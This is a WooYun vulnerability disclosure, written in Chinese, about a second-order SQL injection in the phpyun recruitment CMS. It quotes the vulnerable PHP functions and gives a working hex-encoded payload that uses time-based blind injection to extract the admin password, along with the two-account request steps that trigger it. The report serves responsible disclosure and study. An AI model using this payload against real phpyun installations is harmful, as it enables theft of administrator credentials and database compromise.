当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122884

漏洞标题:phpyun注入漏洞#2

相关厂商:php云人才系统

漏洞作者: Noxxx

提交时间:2015-06-26 14:54

修复时间:2015-09-24 15:08

公开时间:2015-09-24 15:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向第三方安全合作伙伴开放
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

phpyun注入漏洞#2

详细说明:

文件名: \app\controller\friend\index.class.php中 有这样一句

$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));


传入了整个post,我们跟进SaveFriendInfo看看.
文件名: \app\model\friend.model.php

function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
//很显然,Where是不为空的。
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);//重点是看这个函数
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); //直接送入语句查询。
}
}


文件名: \app\public\action.class.php FormatValues函数如下

function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){ //看见没 如果 v为数字的话就 不加单引号 反之引上单引号。因为使用了 is_numeric函数的原因,0x111 这种格式的也可以通过限制 而mysql中也是可以直接解析0x的格式的, 所以我们直接寻找有没有二次注入的地方即可。
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}


寻找二次注入中...寻找到了。美中不足的地方就是只能延迟注入。
文件:\app\controller\ask\friend.class.php
这个功能是关注功能..
ID是对方的uid .可以自己注册 2个账号来操作。

function atnuser_action(){
$id=(int)$_POST['id'];
if($id>0){
if($this->uid){

if($_POST['id']==$this->uid){
echo 4;die;
}
$M=$this->MODEL('ask');
$FriendM=$this->MODEL('friend');
$atninfo = $M->GetAtnOne(array('uid'=>$this->uid,'sc_uid'=>$id));
$UserInfoM=$this->MODEL('userinfo');
$user=$UserInfoM->GetMemberOne(array('uid'=>$id),array('field'=>'`usertype`'));
$comurl = url("ask",array("c"=>"friend","uid"=>$id));
$row=$FriendM->GetFriendInfo(array('uid'=>$id));//看这里.查出friend_info表里的数据
$name = $row['nickname'];//看这里把nickname查出来了赋值给$name
if(is_array($atninfo)&&!empty($atninfo)){ //这句话的意思是你是否是对方的粉丝,如果是那么就取消关注,反之关注.
$M->DeleteAtn(array('uid'=>$this->uid,'sc_uid'=>$id));
$FriendM->SaveFriendInfo(array('`fans`=`fans`-1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`-1'),array('uid'=>$this->uid));
$this->addstate("取消了对<a href=\"".$comurl."\">".$name."</a>的关注!",2);
$this->automsg("用户 ".$this->username." 取消了对你的关注!",$id);
$M->member_log("取消了对".$name."的关注!");//看这里带入了$name
echo "2";die;
}else{
$M->insert_into("atn",array('uid'=>$this->uid,'sc_uid'=>$id,'usertype'=>(int)$_COOKIE['usertype'],'sc_usertype'=>$user['usertype'],'time'=>time()));
$FriendM->SaveFriendInfo(array('`fans`=`fans`+1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`+1'),array('uid'=>$this->uid));
$this->addstate("关注了<a href=\"".$comurl."\">".$name."</a>",2);
$this->automsg("用户 ".$this->username." 关注了你!",$id);
$M->member_log("关注了".$name);//看这里带入了$name
echo "1";die;
}
}else{
echo "3";die;
}
}
}


我们在来分析member_log函数.
文件 :app\public\action.class.php

function member_log($content,$opera='',$type=''){
if($_COOKIE['uid']){
$value="`uid`='".(int)$_COOKIE['uid']."',";
$value.="`usertype`='".(int)$_COOKIE['usertype']."',";
$value.="`content`='".$content."',";
$value.="`opera`='".$opera."',";
$value.="`type`='".$type."',";
$value.="`ip`='".fun_ip_get()."',";
$value.="`ctime`='".time()."'";
$this->DB_insert_once("member_log",$value);
}
}


看到这里我笑了..一般带DB_开头查询函数并没有进行转义操作. 可以造成注入.
不管是取关还是加关都会造成二次注入.

漏洞证明:

接下来就是poc演示了.
先注册2个账号,A和B.
注:uid可以cookie中查询得到。
先登录账号A:
http://127.0.0.1:8081/php/phpyun/friend/c_saveinfo.html
post提交
submitBtn=1&nickname=0x272c69703d28534c454550284d4944282853454c4543542050415353574f52442046524f4d2070687079756e5f61646d696e5f75736572204c494d49542031292c312c31293d273427292923
nickname的数据是',ip=(SLEEP(MID((SELECT PASSWORD FROM phpyun_admin_user LIMIT 1),1,1)='4'))# 我们需要hex下,才不会被加上单引号;
可以看到数据里已经更改掉数据了。

QQ截图20150626011057.png


现在我们来登录第二个账号B
http://127.0.0.1:8081/php/phpyun/ask/c_friend-a_atnuser.html
Post提交
id=1
Id是你要关注的账号id也就是A的uid。(uid可以cookie中查询得到。)
为了直观显示为就把sql语句输出了。

QQ截图20150626013318.png


看见没..成功执行了语句.密码第一位是4就延迟一秒。
利用脚本我就不给出了,几个post请求判断的事。

修复方案:

可能还有其他因为这个函数所导致二次注入,需要完善FormatValues函数。

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-26 15:06

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-26 16:12 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    为啥小厂了

  2. 2015-06-26 23:21 | 不能忍 ( 实习白帽子 | Rank:32 漏洞数:16 | 不要关注我,给我钱就好。)

    @Noxxx 大牛如何看小厂还是大厂?

  3. 2015-06-27 09:29 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    @不能忍 上主页就走大厂流程 确认rank没减就是大厂

  4. 2015-09-25 08:08 | 小葵 ( 实习白帽子 | Rank:84 漏洞数:11 | 我们是害虫,我们是害虫!)

    不得不mark一下,很经典